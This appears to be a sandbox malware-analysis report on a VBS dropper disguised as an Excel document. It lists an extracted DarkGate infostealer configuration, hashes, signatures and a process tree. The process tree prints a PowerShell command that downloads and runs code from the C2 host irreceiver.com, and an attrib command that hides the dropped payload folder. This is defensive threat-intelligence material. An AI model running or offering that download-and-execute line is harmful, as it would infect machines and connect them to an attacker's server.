Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Resubmissions

12/08/2024, 11:41

240812-ntgelazapr 8

08/05/2024, 15:00

240508-sdtr7sab2w 8

05/04/2024, 15:07

240405-shpdaafc3v 10

04/04/2024, 20:19

240404-y3t26aaa37 10

Analysis

  • max time kernel
    188s
  • max time network
    258s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    04/04/2024, 20:19

General

  • Target

    EXCEL_DOCUMENT_OPEN.vbs

  • Size

    23KB

  • MD5

    6925ed4c3665b27592c356b0bbd4948d

  • SHA1

    7429a3929f68c87af85266c5d304f3e26e11a8c0

  • SHA256

    5237e653da5478c91e1de3d51a9713753b4bc1b4c9be8e9136cd9d94e216ae77

  • SHA512

    333ffd943ea86e75822f6c59412fe12b77f95ddeffd1f0286606faab19b595b27b528457158cc6afe2dcb75455ce9e1fb012ddf171f895135fc90e9d249599b6

  • SSDEEP

    384:J0Y5Y65Go4F0yNWe037NwNAUihUN+0X2RyiUiK3xYUif3JNB6Bcy:hYFFFNWe037NwNAUiKNIRyiUiK3xYUi2

Malware Config

Extracted

Family

darkgate

Botnet

admin888

C2

irreceiver.com

Attributes
  • anti_analysis

    true

  • anti_debug

    false

  • anti_vm

    true

  • c2_port

    80

  • check_disk

    false

  • check_ram

    false

  • check_xeon

    false

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_raw_stub

    false

  • internal_mutex

    AdRDIQXg

  • minimum_disk

    50

  • minimum_ram

    4000

  • ping_interval

    6

  • rootkit

    false

  • startup_persistence

    true

  • username

    admin888

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Detect DarkGate stealer 2 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\EXCEL_DOCUMENT_OPEN.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2176
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'irreceiver.com/lcyqeksm')
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4188
      • C:\bnpk\AutoHotkey.exe
        "C:\bnpk\AutoHotkey.exe" C:/bnpk/script.ahk
        3⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        PID:3800
      • C:\Windows\system32\attrib.exe
        "C:\Windows\system32\attrib.exe" +h C:/bnpk/
        3⤵
        • Views/modifies file attributes
        PID:5008

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n0gpzcfu.5b1.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\bnpk\AutoHotkey.exe

    Filesize

    892KB

    MD5

    a59a2d3e5dda7aca6ec879263aa42fd3

    SHA1

    312d496ec90eb30d5319307d47bfef602b6b8c6c

    SHA256

    897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb

    SHA512

    852972ca4d7f9141ea56d3498388c61610492d36ea7d7af1b36d192d7e04dd6d9bc5830e0dcb0a5f8f55350d4d8aaac2869477686b03f998affbac6321a22030

  • C:\bnpk\script.ahk

    Filesize

    441B

    MD5

    77f2459d628fb37ef971846326b498a8

    SHA1

    3baefa06af304c7db531bbebe2c285d16ee0b337

    SHA256

    413ca585a9217847287dd01d836d7c3a866729016bc9cb2eb6296d28bac5b937

    SHA512

    869c5c790c0f8f8626784d3209f40fe731a7886a3a9e1e834f8d2380fb9dfa2874fded5120f12b92beeab4d413c579cc8512b4660b2a905574adaa43557b5f01

  • C:\bnpk\test.txt

    Filesize

    924KB

    MD5

    63b3d0aa63886a380b08354f9aa42571

    SHA1

    163f4c68cc88d5738728100f922e19d595ae1623

    SHA256

    41472438e798bf94a68600f1519552a30c2eeb4b352549ab57e2351d89271a2b

    SHA512

    8632654b064579a0e76d088571094daaaf930c06dcf8080ee04a9fb393e8d0ffc4cae7ad35cf757b5f817dabad03a37869d873be0784a2af5ca719c85861b54f

  • memory/3800-64-0x0000000004960000-0x00000000049D4000-memory.dmp

    Filesize

    464KB

  • memory/3800-62-0x0000000004960000-0x00000000049D4000-memory.dmp

    Filesize

    464KB

  • memory/4188-7-0x0000023754060000-0x0000023754070000-memory.dmp

    Filesize

    64KB

  • memory/4188-30-0x000002376E830000-0x000002376E9F2000-memory.dmp

    Filesize

    1.8MB

  • memory/4188-25-0x0000023754060000-0x0000023754070000-memory.dmp

    Filesize

    64KB

  • memory/4188-10-0x000002376E0D0000-0x000002376E146000-memory.dmp

    Filesize

    472KB

  • memory/4188-4-0x000002376DF20000-0x000002376DF42000-memory.dmp

    Filesize

    136KB

  • memory/4188-61-0x00007FFCBB3D0000-0x00007FFCBBDBC000-memory.dmp

    Filesize

    9.9MB

  • memory/4188-9-0x0000023754060000-0x0000023754070000-memory.dmp

    Filesize

    64KB

  • memory/4188-5-0x00007FFCBB3D0000-0x00007FFCBBDBC000-memory.dmp

    Filesize

    9.9MB